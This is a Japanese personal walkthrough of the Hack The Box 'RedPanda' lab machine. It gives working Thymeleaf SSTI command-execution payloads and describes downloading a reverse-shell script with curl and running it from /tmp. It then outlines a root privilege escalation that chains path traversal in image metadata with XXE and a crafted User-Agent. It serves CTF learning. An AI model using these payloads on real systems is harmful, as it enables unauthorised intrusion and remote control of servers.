Hack the box - RedPanda
Hack the boxのRedPandaを完了したのでメモ。
難易度 | Writeupを |
---|---|
Easy | 見た |
1. nmapでrecon
- 22番でSSH、8080番でWebサーバが動いていることを確認
2. Webサーバが動いているのでアクセス
- 検索ボックスに入れた文字列がパンダの名前に部分一致した場合に画面に一覧表示する
author
ごとのページがあるauthor
についてデータをexportできる- `authorには2人いそう
woodenk
→ たぶんこの人がadmin(ソースコードのauthorにwooden_k
と書いてある)damian
- サイトのタイトルに
Made with Spring Boot
と書いてある - 検索ボックスに
{
を入れた文字列(}
では閉じない)を入力するとWhitelabe Error Page
が表示されて500番が返ってくる gobuster
やったけど対して目新しいものはない$
を入力するとbanned characters
となる
3. Spring Bootで検索
- Spring Bootでよく使われるテンプレート、特にThymeleafにSSTI(Server Side Template Injection)を仕掛ける内容の記事:Exploiting SSTI in Thymeleaf
- いくつか試してみる
${7*7}
→banned characrters
*{7*7}
→ 計算されて49が表示される
- 上記の記事にあった
${T(java.lang.Runtime).getRuntime().exec('calc')}
を試してみる- ただし
$
は使えなさそうなので、*
に置き換えて - コマンドは試しに
pwd
- 最終的には
*{T(java.lang.Runtime).getRuntime().exec('pwd')}
→ 表示が変わった、コマンドが実行されてそう
- ただし
- もっと確実に確かめる
- ローカルでtcpdump:
sudo tcpdump -n -i tun0 icmp
- 検索ボックスには
*{T(java.lang.Runtime).getRuntime().exec('ping -c 1 <IPADDR>')}
→ ローカルのtun0にpingが届いた!
- ローカルでtcpdump:
- SSTIの他の記事:SSTI (Server Side Template Injection)
4. reverse shell
exec
関数内にbash
やnc
のリバースシェルを仕掛けてもうまくいかない- リバースシェルをスクリプトにしてファイルを送り込む
- ローカルでWebサーバを起動させたら、
exec
関数内にcurl
を仕込んでスクリプトをダウンロードさせる(このとき-o
オプションをつけて、ファイルパスを指定、例えば/tmp/mysh
とか - 成功したら、今度は
nc
でTCPサーバを競う exec
関数内にbash /tmp/mysh
を仕込んで実行 → リバースシェルが取れた
5. ホスト内を探索
- pspyをTargetマシンにおいて実行
panda_search
はWebアプリ- cronで
/opt/cleanup.sh
が走っている - cronで
credis_score
が走っている
6. Webアプリ panda_search
/opt/panda_search/
配下にWebアプリのソースが置いてあるので確認MainController.java
- MYSQLに接続する際のCredsが書いてある
- SSHもこれでいけたが、リバースシェルの場合と所属するgroupが違う
- SSTIによるリバースシェルで起動されたため、このような違いが生じるらしい
woodenk
ユーザのパスワードをsudo -l
に試してみるSorry, user woodenk may not run sudo on redpanda.
なのでsudoは使えない
- MYSQLに接続する際のCredsが書いてある
RequestInterceptor.java
/opt/panda_search/redpanda.log
へのログ出力処理が書かれている
7. cleanup.sh
いろんな場所の.xml
と*.jpg
を探して削除するスクリプト。
8. バックグラウンドアプリ credit_score
cronトリガーでroot
権限で動く
/opt/panda_search/redpanda.log
の各行を読み込む
IsImage()
関数:*.jpg
ファイルへのリスエストだったら- 行を
||
で区切って、最後の文字列を変数uri
とする getArtist(uri)
で<サーバ上のファイルパス>/uri
から.jpg
ファイルを取り出し、メタデータからartsit
の名前を抽出/credits/" + artist + "_creds.xml
のviews
とtotal_views
をインクリメントして、ファイルを上書き保存
※/credits
はlog
グループに所属していてもreadonly
9. PrivEscのプラン
大まかな流れを組み立てておく
- メタタグ
Artist
を../tmp/evil
)で設定した画像(poc.jpg
)を用意し、RedPanda
サーバの/tmp/poc.jpg
に配置
- 画像のメタタグを読んだら、
/credits/../tmp/evil_creds.xml
を読みに行くようにする
- XXEのペイロードを組み込んだXMLを
/tmp/evil_creds.xml
も配置 - Webサーバへリクエストを投げる
-
/tmp/poc.jpg
を読みに行くようにURLを指定する
||
で区切る単純なパースロジックを突くため、User-Agent
を書き換える
- 結果として
.jpg
ファイルのリクエストなのでログパースがトリガーされる
- 先ほどアップロードした
poc.jpg
ファイルを取り出し、そのメタタグArtist: ../tmp/evil
を読み込む /tmp/evil_creds.xml
を読み込んで処理をする
メタタグを書き換えるコマンドはこんな感じ
XMLファイルはこんな感じ
User-Agentを書き換えたcurl
10. 実行
/opt/cleanup.sh
がファイルを削除しにくるので手際よく、、、
/root/root.txt
奪取。